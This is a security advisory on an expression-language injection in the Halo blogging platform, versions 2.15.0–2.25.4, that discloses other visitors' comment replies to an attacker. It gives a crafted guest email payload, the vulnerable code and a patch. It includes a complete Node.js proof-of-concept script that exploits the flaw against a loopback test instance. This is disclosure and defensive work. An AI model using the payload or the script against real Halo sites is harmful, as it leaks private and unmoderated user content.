Logo Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure

Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure

Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure#

Author: hiro

Affected versions: Halo 2.15.0 through 2.25.4 (source-confirmed); Halo 2.25.4 (dynamically reproduced)

Vendor: Halo GitHub Repository

Product: Halo

Affected file: application/src/main/java/run/halo/app/content/comment/ReplyNotificationSubscriptionHelper.java

Description#

  1. Expression Language Injection via Guest Reply Subscription:

    • When guest comments are enabled, Halo creates a reply-notification subscription for an anonymous visitor.

    • The visitor identity, which contains the submitted email address, is inserted directly into a Spring Expression Language (SpEL) expression.

    • Single quotes in the identity are not escaped before the expression is stored and later evaluated.

  2. Exploiting the Expression Injection:

    • An unauthenticated visitor submits a comment using an email address whose local-part contains SpEL operators.

    • Halo creates a syntactically valid subscription in which the injected true operand changes an equality check into an always-true condition.

    • When another visitor later replies to an unrelated comment, the attacker's subscription also matches and Halo sends the reply notification to the attacker.

  3. Example Expression Injection Payload:

Guest email:

a'||true||'a@example.com

Expression stored by Halo:

props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'

The middle true operand makes the expression evaluate to true even when props.repliedOwner belongs to a different visitor.

  1. Security Impact:

    • The attacker receives email notifications containing comment and reply content that belongs to an unrelated visitor.

    • If comment review is required, the reproduced notification contains a reply whose approved value is false and whose unique marker is absent from the anonymous public reply API.

    • This demonstrates unauthorized disclosure of content that is not yet publicly visible.

  2. Attack Preconditions:

    • Guest comments are enabled (systemUserOnly=false).

    • Reply email notifications are configured.

    • Another visitor replies to an approved comment after the malicious subscription is created.

    • The outbound mail path accepts the crafted local-part, or the attacker controls a catch-all domain that accepts it.

    • Disclosure of moderated content additionally requires requireReviewForNew=true.

  3. Root Cause:

The affected code builds executable expression text from an unescaped identity:

interestReason.setExpression(
   "props.repliedOwner == '%s'".formatted(identity.name()));

identity.name() is treated as SpEL source code instead of data. In a SpEL single-quoted string literal, a literal single quote must be represented by two single quotes.

  1. Recommended Remediation:

    • Prefer an implementation that does not construct executable expression text from user-controlled data.

    • A minimal compatibility fix is to escape single quotes before interpolation.

var escapedIdentityName = identity.name().replace("'", "''");
interestReason.setExpression(
   "props.repliedOwner == '%s'".formatted(escapedIdentityName));

Regression tests should cover a normal visitor identity, the crafted identity above, legitimate notification delivery, and non-delivery to an unrelated subscriber.

  1. Vulnerability Classification:

    • CWE: CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement)

    • Secondary impact category: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)

    • Conservative CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N3.1 Low

    • If the mail-routing requirements are treated as ordinary deployment preconditions rather than additional attack complexity, AC:L produces 4.3 Medium.

Proof of Concept#

  1. Prepare an Isolated Test Environment:

    • Use a fresh, uninitialized Halo 2.25.4 instance. The PoC initializes the instance and changes its comment and email settings; do not run it against a production installation.

    • The reproduced environment used Halo 2.25.4 at commit 8206752d23e3499154e7170cadafaaf62bfb63ab, Temurin JDK 21.0.11+10, Node.js 24.15.0, and H2.

    • Both Halo and the in-process SMTP sink must remain on loopback interfaces.

  2. Start Halo on Loopback:

Example PowerShell command:

& '<path-to-java-21>\bin\java.exe' `
 '-Dfile.encoding=UTF-8' '-Xms256m' '-Xmx512m' `
 -jar '.\halo-2.25.4.jar' `
 '--server.address=127.0.0.1' `
 '--server.port=8096' `
 '--halo.work-dir=./hexpr-poc-data' `
 '--halo.external-url=http://127.0.0.1:8096/'

Wait until http://127.0.0.1:8096/actuator/health reports UP.

  1. Save and Run the PoC:

Save the complete source code below as poc-hexpr-e2e.cjs, or use the standalone attachment. The standalone file SHA-256 is:

fd75a623b4c1410fbedd323d265c2aa2da50976486c8b76f1192c44bcde00caa

Run the moderation-boundary reproduction:

node .\poc-hexpr-e2e.cjs http://127.0.0.1:8096 2529 vulnerable moderation
  1. Automated Validation Performed by the PoC:

    • Generates random local administrator credentials in memory and initializes Halo.

    • Enables guest comments and configures the email notifier to use an in-process SMTP sink bound to 127.0.0.1.

    • Confirms that the legitimate comment owner receives a baseline reply notification while an ordinary unrelated subscriber does not.

    • Creates the crafted guest subscription and confirms that Halo stored the unescaped expression.

    • Enables comment review, creates an unapproved reply to an unrelated visitor, and checks that the reply marker is absent from the anonymous public API.

    • Confirms that both the legitimate owner and the injected subscriber receive the same reply content.

  2. Verify the Vulnerable Result:

    • The process exits with status code 0 only when all positive and negative controls pass.

    • A vulnerable build returns a JSON result containing the following fields.

{
 "candidate": "H-EXPR-01",
 "sourceVersion": "v2.25.4",
 "impactMode": "moderation",
 "result": "CONFIRMED"
}

The relevant assertions are triggerReplyApproved=false, triggerMarkerVisibleToAnonymous=false, legitimateVictimReceived=true, attackerReceivedUnrelatedNotification=true, and normalControlStillDidNotReceive=true.

  1. Fix Verification:

    • The minimal single-quote escaping patch was tested against the same HTTP/SMTP flow.

    • The security regression test failed on the original source and passed after the patch; the related test groups passed 9/9.

    • The patched build returned FIX_CONFIRMED: the legitimate owner still received the notification and the injected subscriber did not.

  2. Complete PoC Source Code:

    • The code block below is the complete standalone file, including its final newline.

    • It uses only Node.js built-in modules, refuses non-loopback HTTP targets, generates test secrets in memory, and does not print those secrets.

"use strict";

const crypto = require("node:crypto");
const net = require("node:net");

const baseUrl = process.argv[2] || "http://127.0.0.1:8093";
const smtpPort = Number.parseInt(process.argv[3] || "2526", 10);
const expectation = process.argv[4] || "vulnerable";
const impactMode = process.argv[5] || "public";
if (!["vulnerable", "fixed"].includes(expectation)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "Expectation must be either vulnerable or fixed",
}));
process.exit(2);
}
if (!["public", "moderation"].includes(impactMode)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "Impact mode must be either public or moderation",
}));
process.exit(2);
}
const parsedBaseUrl = new URL(baseUrl);
const loopbackHosts = new Set(["127.0.0.1", "localhost", "::1"]);
if (!loopbackHosts.has(parsedBaseUrl.hostname)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "PoC refuses non-loopback HTTP targets",
}));
process.exit(2);
}
if (!Number.isInteger(smtpPort) || smtpPort < 1024 || smtpPort > 65535) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "SMTP port must be an unprivileged TCP port",
}));
process.exit(2);
}

const POST_NAME = "5152aea5-c2e8-4717-8bba-2263d46e19d5";
const COMMENT_API = "/apis/api.halo.run/v1alpha1/comments";
const SUBSCRIPTION_API = "/apis/notification.halo.run/v1alpha1/subscriptions?page=0&size=100";
const SMTP_CONFIG_API =
"/apis/api.console.halo.run/v1alpha1/notifiers/default-email-notifier/sender-config";

class CookieJar {
constructor() {
this.cookies = new Map();
}

absorb(headers) {
let values = [];
if (typeof headers.getSetCookie === "function") {
values = headers.getSetCookie();
} else {
const combined = headers.get("set-cookie");
if (combined) {
values = combined.split(/,(?=[^;,]+=)/u);
}
}
for (const value of values) {
const pair = value.split(";", 1)[0];
const index = pair.indexOf("=");
if (index <= 0) {
continue;
}
const name = pair.slice(0, index).trim();
const cookieValue = pair.slice(index + 1).trim();
if (/max-age=0/iu.test(value) || cookieValue === "") {
this.cookies.delete(name);
} else {
this.cookies.set(name, cookieValue);
}
}
}

header() {
return [...this.cookies.entries()]
.map(([name, value]) => `${name}=${value}`)
.join("; ");
}

get(name) {
return this.cookies.get(name);
}
}

async function request(jar, path, options = {}) {
const headers = new Headers(options.headers || {});
const cookie = jar?.header();
if (cookie) {
headers.set("Cookie", cookie);
}
const response = await fetch(new URL(path, baseUrl), {
...options,
headers,
redirect: "manual",
});
jar?.absorb(response.headers);
const text = await response.text();
return {
status: response.status,
location: response.headers.get("location"),
text,
headers: response.headers,
};
}

async function jsonRequest(jar, path, method = "GET", body, includeCsrf = true) {
const headers = {
Accept: "application/json",
"X-Requested-With": "XMLHttpRequest",
};
if (body !== undefined) {
headers["Content-Type"] = "application/json";
}
if (includeCsrf && jar) {
const csrf = jar.get("XSRF-TOKEN");
if (!csrf) {
throw new Error(`Missing XSRF-TOKEN before ${method} ${path}`);
}
headers["X-XSRF-TOKEN"] = decodeURIComponent(csrf);
}
const response = await request(jar, path, {
method,
headers,
body: body === undefined ? undefined : JSON.stringify(body),
});
let json;
try {
json = response.text ? JSON.parse(response.text) : undefined;
} catch {
json = undefined;
}
return {...response, json};
}

function requireStatus(response, expected, label) {
const allowed = Array.isArray(expected) ? expected : [expected];
if (!allowed.includes(response.status)) {
throw new Error(`${label}: expected ${allowed.join("/")} but got ${response.status}`);
}
}

function extractLoginMaterial(html) {
const csrf = html.match(/name="_csrf"\s+value="([^"]+)"/u)?.[1];
const publicKeyLiteral = html.match(/const publicKey = "([^"]+)"/u)?.[1];
if (!csrf || !publicKeyLiteral) {
throw new Error("Could not extract login CSRF token or RSA public key");
}
return {
csrf,
publicKey: publicKeyLiteral.replaceAll("\\/", "/"),
};
}

function encryptPassword(password, publicKeyBase64) {
const key = crypto.createPublicKey({
key: Buffer.from(publicKeyBase64, "base64"),
format: "der",
type: "spki",
});
return crypto.publicEncrypt({
key,
padding: crypto.constants.RSA_PKCS1_PADDING,
}, Buffer.from(password, "utf8")).toString("base64");
}

async function login(username, password) {
const jar = new CookieJar();
const loginPage = await request(jar, "/login", {
headers: {Accept: "text/html"},
});
requireStatus(loginPage, 200, "GET /login");
const {csrf, publicKey} = extractLoginMaterial(loginPage.text);
const form = new URLSearchParams({
_csrf: csrf,
username,
password: encryptPassword(password, publicKey),
});
const response = await request(jar, "/login", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
},
body: form,
});
return {jar, response};
}

function delay(milliseconds) {
return new Promise((resolve) => setTimeout(resolve, milliseconds));
}

async function poll(label, operation, predicate, timeoutMs = 20_000, intervalMs = 250) {
const deadline = Date.now() + timeoutMs;
let lastValue;
let lastError;
while (Date.now() < deadline) {
try {
lastValue = await operation();
if (predicate(lastValue)) {
return lastValue;
}
lastError = undefined;
} catch (error) {
lastError = error;
}
await delay(intervalMs);
}
const detail = lastError ? lastError.message : JSON.stringify(lastValue);
throw new Error(`${label}: timed out; last observation: ${detail}`);
}

function smtpRecipient(line) {
const angle = line.match(/<([^>]*)>/u)?.[1];
if (angle !== undefined) {
return angle;
}
return line.slice(line.indexOf(":") + 1).trim();
}

async function startSmtpSink(port) {
const messages = [];
const sockets = new Set();
const stats = {
connections: 0,
authenticatedConnections: 0,
messagesAccepted: 0,
};

const server = net.createServer((socket) => {
sockets.add(socket);
stats.connections += 1;
socket.setEncoding("utf8");
socket.write("220 localhost H-EXPR-01 isolated SMTP sink\r\n");

let buffer = "";
let mode = "command";
let authStage = null;
let mailFrom = null;
let recipients = [];
let dataLines = [];

const reply = (line) => socket.write(`${line}\r\n`);
const resetTransaction = () => {
mailFrom = null;
recipients = [];
dataLines = [];
mode = "command";
};

const onLine = (line) => {
if (mode === "data") {
if (line === ".") {
const raw = dataLines
.map((dataLine) => dataLine.startsWith("..") ? dataLine.slice(1) : dataLine)
.join("\r\n");
messages.push({
mailFrom,
recipients: [...recipients],
raw,
receivedAt: new Date().toISOString(),
});
stats.messagesAccepted += 1;
resetTransaction();
reply("250 2.0.0 queued in memory");
} else {
dataLines.push(line);
}
return;
}

if (authStage === "username") {
authStage = "password";
reply("334 UGFzc3dvcmQ6");
return;
}
if (authStage === "password" || authStage === "plain") {
authStage = null;
stats.authenticatedConnections += 1;
reply("235 2.7.0 authentication successful");
return;
}

const [verbRaw, ...rest] = line.split(" ");
const verb = verbRaw.toUpperCase();
const argument = rest.join(" ");
switch (verb) {
case "EHLO":
socket.write(
"250-localhost\r\n"
+ "250-AUTH LOGIN PLAIN\r\n"
+ "250-8BITMIME\r\n"
+ "250 SIZE 10485760\r\n",
);
break;
case "HELO":
reply("250 localhost");
break;
case "AUTH": {
const [mechanismRaw, initialResponse] = argument.split(" ");
const mechanism = (mechanismRaw || "").toUpperCase();
if (mechanism === "PLAIN") {
if (initialResponse) {
stats.authenticatedConnections += 1;
reply("235 2.7.0 authentication successful");
} else {
authStage = "plain";
reply("334");
}
} else if (mechanism === "LOGIN") {
if (initialResponse) {
authStage = "password";
reply("334 UGFzc3dvcmQ6");
} else {
authStage = "username";
reply("334 VXNlcm5hbWU6");
}
} else {
reply("504 5.5.4 unsupported authentication mechanism");
}
break;
}
case "MAIL":
mailFrom = smtpRecipient(line);
recipients = [];
reply("250 2.1.0 sender accepted");
break;
case "RCPT":
recipients.push(smtpRecipient(line));
reply("250 2.1.5 recipient accepted");
break;
case "DATA":
if (!mailFrom || recipients.length === 0) {
reply("503 5.5.1 need MAIL FROM and RCPT TO");
} else {
mode = "data";
dataLines = [];
reply("354 end with <CRLF>.<CRLF>");
}
break;
case "RSET":
resetTransaction();
reply("250 2.0.0 reset");
break;
case "NOOP":
reply("250 2.0.0 ok");
break;
case "QUIT":
reply("221 2.0.0 bye");
socket.end();
break;
default:
reply("250 2.0.0 ok");
}
};

socket.on("data", (chunk) => {
buffer += chunk;
let index;
while ((index = buffer.indexOf("\r\n")) >= 0) {
const line = buffer.slice(0, index);
buffer = buffer.slice(index + 2);
onLine(line);
}
});
socket.on("close", () => sockets.delete(socket));
socket.on("error", () => sockets.delete(socket));
});

await new Promise((resolve, reject) => {
server.once("error", reject);
server.listen({host: "127.0.0.1", port}, () => {
server.off("error", reject);
resolve();
});
});

return {
messages,
stats,
clear() {
messages.length = 0;
},
async close() {
for (const socket of sockets) {
socket.end();
}
await new Promise((resolve) => server.close(resolve));
},
};
}

function guestOwner(email, displayName) {
return {
email,
displayName,
avatar: "",
website: "",
};
}

async function createGuestComment(email, displayName, marker) {
const payload = {
subjectRef: {
group: "content.halo.run",
version: "v1alpha1",
kind: "Post",
name: POST_NAME,
},
owner: guestOwner(email, displayName),
raw: marker,
content: `<p>${marker}</p>`,
allowNotification: false,
hidden: false,
};
return poll(
`create guest comment ${displayName}`,
() => jsonRequest(null, COMMENT_API, "POST", payload, false),
(response) => response.status === 200,
12_000,
400,
);
}

async function createGuestReply(commentName, email, displayName, marker) {
const payload = {
owner: guestOwner(email, displayName),
raw: marker,
content: `<p>${marker}</p>`,
allowNotification: false,
hidden: false,
quoteReply: "",
};
return jsonRequest(
null,
`${COMMENT_API}/${encodeURIComponent(commentName)}/reply`,
"POST",
payload,
false,
);
}

function subscriptionItems(response) {
requireStatus(response, 200, "list subscriptions");
return Array.isArray(response.json?.items) ? response.json.items : [];
}

function findSubscription(items, subscriberName) {
return items.find((item) => item?.spec?.subscriber?.name === subscriberName);
}

function summarizeMessages(messages, markers) {
const rows = [];
for (const message of messages) {
for (const recipient of message.recipients) {
rows.push({
recipient,
containsVictimCommentMarker: message.raw.includes(markers.victimComment),
containsBaselineReplyMarker: message.raw.includes(markers.baselineReply),
containsExploitReplyMarker: message.raw.includes(markers.exploitReply),
rawSha256: crypto.createHash("sha256").update(message.raw).digest("hex"),
});
}
}
return rows;
}

async function main() {
const smtp = await startSmtpSink(smtpPort);
try {
const evidence = {
candidate: "H-EXPR-01",
product: "Halo",
sourceVersion: "v2.25.4",
sourceCommit: "8206752d23e3499154e7170cadafaaf62bfb63ab",
baseUrl,
smtp: `127.0.0.1:${smtpPort}`,
expectation,
impactMode,
executedAt: new Date().toISOString(),
scopeGuard: "loopback-only",
realSecretsUsed: false,
secretsPrinted: false,
controls: {},
exploit: {},
};

const health = await request(null, "/actuator/health", {
headers: {Accept: "application/json"},
});
requireStatus(health, 200, "health check");
evidence.health = JSON.parse(health.text).status;

const username = `expr-${crypto.randomBytes(6).toString("hex")}`;
const password = `A9!${crypto.randomBytes(14).toString("hex")}`;
evidence.accountIdSha256 = crypto
.createHash("sha256")
.update(username)
.digest("hex");

const setup = await request(null, "/system/setup", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/x-www-form-urlencoded",
},
body: new URLSearchParams({
username,
password,
email: `${username}@example.invalid`,
siteTitle: "H-EXPR-01 isolated validation",
language: "zh-CN",
externalUrl: `${baseUrl}/`,
}),
});
requireStatus(setup, 204, "setup");
evidence.setupStatus = setup.status;

const loginResult = await login(username, password);
requireStatus(loginResult.response, 200, "admin login");
const adminJar = loginResult.jar;

const commentConfig = {
enable: true,
requireReviewForNew: false,
systemUserOnly: false,
};
const updateCommentConfig = await jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
"PUT",
commentConfig,
);
requireStatus(updateCommentConfig, 204, "enable guest comments");
const observedCommentConfig = await poll(
"observe guest comment config",
() => jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
),
(response) => response.status === 200
&& response.json?.enable === true
&& response.json?.requireReviewForNew === false
&& response.json?.systemUserOnly === false,
);
evidence.commentConfig = observedCommentConfig.json;

const smtpPassword = crypto.randomBytes(18).toString("hex");
const smtpConfig = await jsonRequest(adminJar, SMTP_CONFIG_API, "POST", {
enable: true,
username: "sender@example.invalid",
sender: "sender@example.invalid",
password: smtpPassword,
displayName: "H-EXPR-01 local sender",
host: "127.0.0.1",
port: smtpPort,
encryption: "NONE",
});
requireStatus(smtpConfig, 200, "configure local SMTP sender");
evidence.smtpConfigStatus = smtpConfig.status;

const token = crypto.randomBytes(5).toString("hex");
const emails = {
normalControl: `normal-${token}@example.invalid`,
victim: `victim-${token}@example.invalid`,
baselineReplier: `baseline-replier-${token}@example.invalid`,
exploitReplier: `exploit-replier-${token}@example.invalid`,
attacker: "a'||true||'a@example.com",
};
const identities = Object.fromEntries(
Object.entries(emails).map(([key, email]) => [key, `anonymousUser#${email}`]),
);
const markers = {
normalControl: `H-EXPR-NORMAL-${token}`,
victimComment: `H-EXPR-VICTIM-${token}`,
baselineReply: `H-EXPR-BASELINE-REPLY-${token}`,
attackerComment: `H-EXPR-ATTACKER-${token}`,
exploitReply: `H-EXPR-EXPLOIT-REPLY-${token}`,
};

const normalComment = await createGuestComment(
emails.normalControl,
"Normal unrelated subscriber",
markers.normalControl,
);
const victimComment = await createGuestComment(
emails.victim,
"Victim comment owner",
markers.victimComment,
);
requireStatus(normalComment, 200, "create normal control comment");
requireStatus(victimComment, 200, "create victim comment");
const victimCommentName = victimComment.json?.metadata?.name;
if (!victimCommentName) {
throw new Error("Victim comment response did not contain metadata.name");
}
evidence.controls.allowNotificationSubmitted = {
normal: normalComment.json?.spec?.allowNotification,
victim: victimComment.json?.spec?.allowNotification,
};

const baselineSubscriptions = await poll(
"wait for baseline subscriptions",
() => jsonRequest(adminJar, SUBSCRIPTION_API),
(response) => {
const items = response.status === 200 ? subscriptionItems(response) : [];
return Boolean(
findSubscription(items, identities.normalControl)
&& findSubscription(items, identities.victim),
);
},
);
const baselineItems = subscriptionItems(baselineSubscriptions);
const normalSubscription = findSubscription(baselineItems, identities.normalControl);
const victimSubscription = findSubscription(baselineItems, identities.victim);
evidence.controls.normalExpression = normalSubscription?.spec?.reason?.expression;
evidence.controls.victimExpression = victimSubscription?.spec?.reason?.expression;
evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse =
Boolean(normalSubscription && victimSubscription);

smtp.clear();
const baselineReply = await createGuestReply(
victimCommentName,
emails.baselineReplier,
"Baseline unrelated replier",
markers.baselineReply,
);
requireStatus(baselineReply, 200, "create baseline reply");
await poll(
"wait for legitimate baseline victim email",
async () => smtp.messages,
(messages) => messages.some((message) => message.recipients.includes(emails.victim)),
20_000,
250,
);
await delay(750);
const baselineMessageSummary = summarizeMessages(smtp.messages, markers);
evidence.controls.baselineMessages = baselineMessageSummary;
evidence.controls.baselineVictimReceived = baselineMessageSummary
.some((message) => message.recipient === emails.victim
&& message.containsVictimCommentMarker
&& message.containsBaselineReplyMarker);
evidence.controls.normalUnrelatedSubscriberDidNotReceive = !baselineMessageSummary
.some((message) => message.recipient === emails.normalControl);
if (!evidence.controls.baselineVictimReceived
|| !evidence.controls.normalUnrelatedSubscriberDidNotReceive) {
throw new Error("Baseline notification routing did not match the expected control");
}

smtp.clear();
const attackerComment = await createGuestComment(
emails.attacker,
"Injected expression subscriber",
markers.attackerComment,
);
requireStatus(attackerComment, 200, "create injected-expression comment");
evidence.exploit.allowNotificationSubmitted =
attackerComment.json?.spec?.allowNotification;

const injectedSubscriptions = await poll(
"wait for injected subscription",
() => jsonRequest(adminJar, SUBSCRIPTION_API),
(response) => {
const items = response.status === 200 ? subscriptionItems(response) : [];
return Boolean(findSubscription(items, identities.attacker));
},
);
const injectedItems = subscriptionItems(injectedSubscriptions);
const attackerSubscription = findSubscription(injectedItems, identities.attacker);
evidence.exploit.subscriber = attackerSubscription?.spec?.subscriber?.name;
evidence.exploit.expression = attackerSubscription?.spec?.reason?.expression;
evidence.exploit.expressionContainsUnescapedInput =
evidence.exploit.expression
=== "props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'";
evidence.exploit.expressionEscapedSafely =
evidence.exploit.expression
=== "props.repliedOwner == 'anonymousUser#a''||true||''a@example.com'";

if (impactMode === "moderation") {
const requireReviewConfig = {
enable: true,
requireReviewForNew: true,
systemUserOnly: false,
};
const updateRequireReview = await jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
"PUT",
requireReviewConfig,
);
requireStatus(updateRequireReview, 204, "enable moderation before exploit trigger");
const observedRequireReview = await poll(
"observe moderation config",
() => jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
),
(response) => response.status === 200
&& response.json?.enable === true
&& response.json?.requireReviewForNew === true
&& response.json?.systemUserOnly === false,
);
evidence.exploit.moderationConfig = observedRequireReview.json;
}

smtp.clear();
const exploitReply = await createGuestReply(
victimCommentName,
emails.exploitReplier,
"Exploit unrelated replier",
markers.exploitReply,
);
requireStatus(exploitReply, 200, "create exploit trigger reply");
evidence.exploit.triggerReplyApproved = exploitReply.json?.spec?.approved;
if (impactMode === "moderation") {
const publicReplies = await jsonRequest(
null,
`${COMMENT_API}/${encodeURIComponent(victimCommentName)}/reply?page=1&size=100`,
"GET",
undefined,
false,
);
requireStatus(publicReplies, 200, "anonymous public reply list");
evidence.exploit.publicReplyListStatus = publicReplies.status;
evidence.exploit.triggerMarkerVisibleToAnonymous =
JSON.stringify(publicReplies.json).includes(markers.exploitReply);
}
if (expectation === "vulnerable") {
await poll(
"wait for injected and legitimate emails",
async () => smtp.messages,
(messages) => {
const recipients = new Set(messages.flatMap((message) => message.recipients));
return recipients.has(emails.attacker) && recipients.has(emails.victim);
},
20_000,
250,
);
await delay(750);
} else {
await poll(
"wait for legitimate fixed-build email",
async () => smtp.messages,
(messages) => messages
.some((message) => message.recipients.includes(emails.victim)),
20_000,
250,
);
await delay(1_500);
}
const exploitMessageSummary = summarizeMessages(smtp.messages, markers);
evidence.exploit.messages = exploitMessageSummary;
evidence.exploit.attackerReceivedUnrelatedNotification = exploitMessageSummary
.some((message) => message.recipient === emails.attacker
&& message.containsVictimCommentMarker
&& message.containsExploitReplyMarker);
evidence.exploit.legitimateVictimReceived = exploitMessageSummary
.some((message) => message.recipient === emails.victim
&& message.containsVictimCommentMarker
&& message.containsExploitReplyMarker);
evidence.exploit.attackerDidNotReceiveUnrelatedNotification =
!evidence.exploit.attackerReceivedUnrelatedNotification;
evidence.exploit.normalControlStillDidNotReceive = !exploitMessageSummary
.some((message) => message.recipient === emails.normalControl);
evidence.smtpStats = smtp.stats;

const controlsPassed = evidence.health === "UP"
&& evidence.commentConfig.enable === true
&& evidence.commentConfig.requireReviewForNew === false
&& evidence.commentConfig.systemUserOnly === false
&& evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse
&& evidence.controls.baselineVictimReceived
&& evidence.controls.normalUnrelatedSubscriberDidNotReceive
&& evidence.exploit.allowNotificationSubmitted === false
&& evidence.exploit.legitimateVictimReceived
&& evidence.exploit.normalControlStillDidNotReceive
&& evidence.smtpStats.authenticatedConnections > 0;
const impactChecksPassed = impactMode === "public"
|| (evidence.exploit.moderationConfig?.requireReviewForNew === true
&& evidence.exploit.triggerReplyApproved === false
&& evidence.exploit.publicReplyListStatus === 200
&& evidence.exploit.triggerMarkerVisibleToAnonymous === false);
const vulnerablePassed = expectation === "vulnerable"
&& evidence.exploit.expressionContainsUnescapedInput
&& evidence.exploit.attackerReceivedUnrelatedNotification;
const fixedPassed = expectation === "fixed"
&& evidence.exploit.expressionEscapedSafely
&& evidence.exploit.attackerDidNotReceiveUnrelatedNotification;
const passed = controlsPassed
&& impactChecksPassed
&& (vulnerablePassed || fixedPassed);

evidence.result = passed
? (expectation === "vulnerable" ? "CONFIRMED" : "FIX_CONFIRMED")
: "NOT_REPRODUCED";
return evidence;
} finally {
await smtp.close();
}
}

main()
.then((evidence) => {
console.log(JSON.stringify(evidence, null, 2));
process.exitCode = ["CONFIRMED", "FIX_CONFIRMED"].includes(evidence.result) ? 0 : 1;
})
.catch((error) => {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
product: "Halo",
sourceVersion: "v2.25.4",
baseUrl,
smtp: `127.0.0.1:${smtpPort}`,
expectation,
impactMode,
executedAt: new Date().toISOString(),
result: "ENVIRONMENT_ERROR",
error: error.message,
realSecretsUsed: false,
secretsPrinted: false,
}, null, 2));
process.exitCode = 2;
});
Last updated on